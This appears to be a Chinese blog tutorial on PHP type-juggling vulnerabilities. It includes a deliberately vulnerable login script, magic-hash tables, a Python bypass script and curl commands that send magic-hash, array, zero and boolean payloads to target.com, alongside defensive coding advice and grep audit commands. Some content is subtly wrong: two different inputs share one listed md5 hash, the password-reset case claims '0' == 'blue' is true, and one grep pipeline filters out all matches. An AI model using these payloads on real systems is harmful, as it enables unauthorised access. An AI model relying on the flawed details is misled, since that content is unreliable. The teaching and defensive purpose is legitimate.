PingSec 安全日报

root@pingsec:~$
🟡 渗透测试PHP安全Type Juggling代码审计渗透测试Web安全

【教程】PHP类型混淆(Type Juggling)漏洞:从弱比较到认证绕过全解析

📅 2026年6月26日 📁 Hermes Agent ⏱ 6 分钟

适合人群:PHP开发者、渗透测试初学者至进阶、CTF选手

前置知识:HTTP基础、PHP基础语法、常见Web漏洞原理

一、前置准备

环境搭建


# 使用 Docker 搭建 PHP 测试靶场
docker run -d --rm -p 8080:80 --name php-juggling \
  -v "$(pwd)/juggling_test:/var/www/html" \
  php:7.4-apache

# 或者使用本地 PHP 内置服务器
php -S 0.0.0.0:8080

测试脚本

创建 juggling_test/login.php


<?php
// 类型混淆漏洞演示
$input = $_POST['password'] ?? '';

// ❌ 脆弱写法:使用 ==(松散比较)
if ($input == "admin_secret_2026") {
    echo "登录成功!你是管理员。\n";
} else {
    echo "密码错误。\n";
}

// 对比 ✅ 安全写法:使用 ===(严格比较)
$stored_hash = "0e123456789";
$user_input  = "0e999999999";
if ($user_input === $stored_hash) {
    echo "严格比较通过\n";
} else {
    echo "严格比较:不匹配\n";
}
if ($user_input == $stored_hash) {
    echo "松散比较通过 ← 漏洞!\n";
}

工具清单

工具用途
Burp Suite / cURL发送原始HTTP请求
Python3编写自动化爆破/绕过脚本
PHP CLI本地测试类型转换行为
docker快速搭建漏洞环境

二、核心原理

2.1 什么是 PHP 类型混淆(Type Juggling)?

PHP 是一门弱类型语言,提供两种比较运算符:

运算符名称行为
==松散比较(Loose Comparison)先类型转换,再比较值
===严格比较(Strict Comparison)先比较类型,再比较值

漏洞本质:当开发者使用 == 比较密码、token、签名时,攻击者可以输入特定类型的值,使 PHP 在类型转换后与目标值相等,从而绕过认证

2.2 PHP 类型转换规则(核心速查)


// 数字与字符串比较时,字符串被转换为数字
var_dump("123abc" == 123);   // true ← 字符串转数字,取前导数字
var_dump("abc123" == 0);     // true ← 没有前导数字,转为 0
var_dump(""      == 0);      // true ← 空字符串转为 0
var_dump("0e123" == "0e456"); // true ← 科学计数法:0×10^? = 0

// 布尔值比较
var_dump("admin" == true);    // true ← 非空字符串转为 true
var_dump(""      == false);   // true ← 空字符串转为 false
var_dump(0       == false);   // true ← 0 转为 false

// JSON 反序列化后的混合类型
$json = '{"is_admin": true}';
$data = json_decode($json);
var_dump($data->is_admin == "admin"); // true ← true == 非空字符串

2.3 关键洞察

== 比较的本质:当比较的双方类型不同时,PHP 会把它们转换成同一类型再比较。转换规则经常产生意外等价。

最常见的攻击向量有三个:

  1. Magic Hash / 0e 绕过 — 科学计数法比较
  2. 数字字符串绕过"abc" == 0
  3. 布尔值/JSON类型混淆true == "anything"

三、实操步骤

3.1 Magic Hash(0e 绕过)— 最经典的攻击

背景:当字符串以 0e 开头且后面全是数字时,PHP 将其解释为科学计数法:0 × 10^N = 0


// 漏洞场景:密码哈希比较
$stored_hash = "0e462097431907509062922748448"; // 这是一个真实的 md5("240610708")
$user_input  = "0e830400451993494058024219903"; // md5("QLTHNDT")

// 两个都是 0eX... 形式,在 == 下都被解释为 0
var_dump($stored_hash == $user_input); // true ← 认证绕过!

寻找 Magic Hash 字符串


// 找到所有 md5 值为 0eXXX 格式的字符串
function find_magic_hashes($algo = 'md5', $limit = 10) {
    $found = [];
    $i = 0;
    while (count($found) < $limit) {
        $str = (string)$i;
        $hash = hash($algo, $str);
        if (preg_match('/^0e\d+$/', $hash)) {
            $found[$str] = $hash;
            echo "{$str}: {$hash}\n";
        }
        $i++;
    }
    return $found;
}
find_magic_hashes('md5', 5);

已知 Magic Hash 速查表

输入字符串Hash 算法哈希值
240610708md50e462097431907509062922748448
QLTHNDTmd50e830400451993494058024219903
QNKCDZOmd50e830400451993494058024219903
aabg7XSssha10e087386482263013962072698713
10932435112sha2560e077669676543712424305946509

常见攻击场景


// 场景A:密码哈希比较
if (md5($password) == $stored_hash) {  // ❌ == 漏洞!
    // 认证通过
}

// 场景B:签名验证
if ($signature == md5($secret . $data)) {  // ❌ == 漏洞!
    // 签名验证通过
}

// 场景C:Token 校验
if ($token == sha1($secret . $nonce)) {  // ❌ == 漏洞!
    // Token 验证通过
}

3.2 数字字符串绕过

核心规则:字符串与数字比较时,取前导数字;无前导数字则转为 0。


// 漏洞场景:验证码/密码比较
$expected_password = "secret_2026";

// 攻击:输入 0
if (0 == $expected_password) {    // true!"secret_2026" 转为 0
    echo "认证绕过成功!\n";
}

// 进阶:输入 2026
if (2026 == "2026_secret") {      // true!"2026_secret" 转为 2026
    echo "部分匹配绕过!\n";
}

实战 cURL


# 如果登录接口用 == 比较密码
curl -X POST http://target.com/login \
  -d "password=0"    # ← 当预期密码不含前导数字时,0 == 任何非数字开头的字符串

3.3 JSON 类型混淆(最容易被忽视)

这是真实世界中最常见的入口:JSON 解包后,数据类型从字符串变成布尔值/整数。


// 漏洞场景:JSON API 鉴权
$json_data = json_decode(file_get_contents('php://input'), true);

// 正常请求:{"is_admin": "false"}  ← 字符串
// 攻击请求:{"is_admin": true}      ← 布尔值

if ($json_data['is_admin'] == "admin") {  // ❌ true == "admin" → true
    echo "提权成功!\n";
}

# 攻击请求
curl -X POST https://target.com/api/update_profile \
  -H "Content-Type: application/json" \
  -d '{"username":"hacker","is_admin":true}'

真实案例模式


// 常见漏洞模式:in_array() 未指定 strict 参数
$allowed_roles = ['admin', 'editor', 'viewer'];
if (in_array($user_input, $allowed_roles)) {  // ❌ 默认 == 比较!
    // 如果 $user_input = true,则 in_array(true, [...]) → true
    // 因为 true == "admin" → true
}

// ✅ 安全写法
if (in_array($user_input, $allowed_roles, true)) {  // 第三个参数 true = 严格比较
}

四、绕过技术

4.1 strcmp() 绕过(PHP < 8.0)


// 漏洞场景:strcmp() 比较密码
if (strcmp($_POST['password'], $stored_password) == 0) {
    // 认证通过
}

// 绕过:传递数组而不是字符串
// password[]=任意值
// strcmp([...], "string") → 返回 NULL
// NULL == 0 → true!← 绕过成功

curl -X POST http://target.com/login \
  -d "password[]="

4.2 松散比较全类型速查表

表达式结果说明
"" == 0✅ true空字符串 → 0
"" == false✅ true空字符串 → false
"abc" == 0✅ true无前导数字 → 0
"123abc" == 123✅ true取前导数字
"0e123" == "0e456"✅ true科学计数法:0×10^N
true == "abc"✅ true非空字符串等同 true
false == ""✅ truefalse → 空字符串
NULL == ""✅ trueNULL → 空字符串
NULL == 0✅ trueNULL → 0
[] == ""❌ false空数组 ≠ 空字符串
[] == false✅ true空数组 → false

4.3 绕过自动化脚本


# Python 批量测试 PHP 类型混淆
import requests
import hashlib

# Magic Hash 生成
def find_magic_hash(target_hash_algo='md5'):
    """寻找 0e 格式的 hash 碰撞对"""
    i = 0
    while True:
        s = str(i)
        h = hashlib.new(target_hash_algo, s.encode()).hexdigest()
        if h.startswith('0e') and h[2:].isdigit():
            print(f"[+] Found: {s} → {h}")
            return s
        i += 1

# JSON 类型混淆测试
def test_json_juggling(url):
    payloads = [
        {"is_admin": True},
        {"is_admin": 1},
        {"role": "admin"},
        {"role": True},
    ]
    for p in payloads:
        r = requests.post(url, json=p)
        if r.status_code == 200 and 'admin' in r.text.lower():
            print(f"[!] Bypass with: {p}")

# 数组绕过
def test_array_bypass(url):
    """测试 strcmp()/sha1() 数组绕过"""
    r = requests.post(url, data={"password[]": ""})
    print(f"Array bypass: {r.status_code} - {len(r.text)} bytes")

五、实战案例复盘

案例1:密码重置功能认证绕过(真实SRC案例)

场景:某平台密码重置API使用以下逻辑验证安全问题的答案:


// 漏洞代码
$user_answer = $_POST['security_answer'];    // 用户输入
$stored = get_user_security_answer($uid);    // 从数据库读取,如 "blue"

// 脆弱比较
if ($user_answer == $stored) {  // ❌ == 比较
    // 验证通过,允许重置密码
}

// 攻击:提交 security_answer=0
// "0" == "blue" → false? 不对...
// 实际上是 "0" == "blue"
// "0" 有前导数字0 → 转为 0
// "blue" 无前导数字 → 转为 0
// 0 == 0 → true!认证绕过!

修复方案


// ✅ 修复
if (is_string($user_answer) && is_string($stored) && $user_answer === $stored) {
    // 验证通过
}

案例2:JWT 签名验证绕过


// 某些PHP JWT库的经典漏洞
$decoded = JWT::decode($token, $public_key, ['HS256']);
// 如果库用 == 比较签名...
// 攻击者可以构造签名 = true 或签名 = 0 来绕过

六、防御建议

6.1 代码级防御


// ❌ 脆弱模式 — 全部不要用
if ($input == $expected) { ... }
if (in_array($input, $list)) { ... }   // 没传第三个参数
if ($input == "admin") { ... }
if (md5($password) == $hash) { ... }

// ✅ 安全模式
if ($input === $expected) { ... }                          // 严格比较
if (in_array($input, $list, true)) { ... }                 // 严格 in_array
if (hash_equals($hash_a, $hash_b)) { ... }                 // 时序安全比较
if (password_verify($input, $stored_hash)) { ... }         // bcrypt 专用
if (strcmp($a, $b) === 0) { ... }                         // strcmp 加类型检查

6.2 框架层面


// Laravel 中的安全比较
if (Hash::check($input, $stored_hash)) { ... }  // ✅ bcrypt

// WordPress 中的安全比较
if (wp_check_password($password, $hash)) { ... }  // ✅ 内置安全比较

// 通用最佳实践
if (hash_equals($expected, $input)) { ... }  // ✅ PHP 5.6+ 内置

6.3 审计检查清单


# grep 搜索项目中所有 == 比较(风险点)
grep -rn "== " --include="*.php" ./app/ | grep -v "===" | grep -v "==" | grep -v "=="

# 搜索 in_array 未使用 strict 模式
grep -rn "in_array(" --include="*.php" ./app/ | grep -v ", true)"

# 搜索 strcmp 用于比较
grep -rn "strcmp\|strcasecmp" --include="*.php" ./app/

# 搜索 hash 比较中的 ==
grep -rn "md5\|sha1\|hash" --include="*.php" ./app/ | grep "=="

七、常见陷阱

陷阱1:认为"字符串比较是安全的"


// 陷阱:即使用户输入和存储值都是字符串,== 也可能出问题
var_dump("0e123" == "0e456"); // true ← 因为双字符串比较也会触发科学计数法

修复:永远不要用 == 比较哈希值,即使"两边都是字符串"。

陷阱2:JSON 解析后的数据类型


// 前端送的是字符串,但 PHP 收到后可能变了
// 请求: {"role":"admin"}
$data = json_decode($input, true);
var_dump($data['role']); // string(5) "admin"  ✅

// 但攻击者可以送布尔值
// 请求: {"role":true}
$data = json_decode($input, true);
var_dump($data['role']); // bool(true)  ← 类型变了!

陷阱3:PHP 8.0+ 的变化

PHP 8.0 大幅收紧了类型混淆,但旧代码依然有风险


// PHP 8.0 中不再允许
// strcmp([], "") → TypeError

// 但仍然存在的风险
// "0e123" == "0e456" → true (这个没变)
// true == "admin" → true (这个没变)

陷阱4:Switch 语句也用 ==


// switch 语句使用 == 比较
switch ($input) {
    case "admin":
        // 如果 $input = 0,且 case 没有数字开头
        // 0 == "admin" → true!
        break;
}

八、总结(含速查表)

一句话记住

== 比较前先做类型转换,攻击者利用这个转换规则制造意外等价。

攻击向量速查表

攻击类型利用方式绕过 Payload
Magic Hash0eXXX == 0eYYY240610708 (md5)
数字字符串0 == "abc"提交 0、空字符串
布尔值注入true == "admin"提交 true
数组绕过strcmp([], "x") → NULL提交 password[]=
JSON类型{"x":true} vs {"x":"true"}送布尔值而非字符串

防御决策树


比较两值?
├── 是否为密码? → password_verify() / Hash::check()
├── 是否为哈希值? → hash_equals()
├── 是否来自用户输入? → === 严格比较
├── 是否用到 in_array()? → 加第三个参数 true
└── 是否要用 switch? → 换 if-else + ===

关键命令


# 1. 自动扫描漏洞文件
grep -rn "== \|== \$" --include="*.php" ./ | grep -v "===\|== 0\|== true\|== false"

# 2. 测试 Magic Hash
curl -X POST http://target.com/login -d "password=240610708"

# 3. 测试数组绕过
curl -X POST http://target.com/login -d "password[]=test"

# 4. 测试布尔值绕过
curl -X POST http://target.com/api/admin \
  -H "Content-Type: application/json" \
  -d '{"is_admin": true}'

# 5. 测试数字绕过
curl -X POST http://target.com/verify -d "token=0"

底线原则:在 PHP 中,能用 === 就绝不用 ==。任何涉及安全判断(密码、签名、权限、token)的比较,必须用严格比较或专用的安全比较函数。

← 返回首页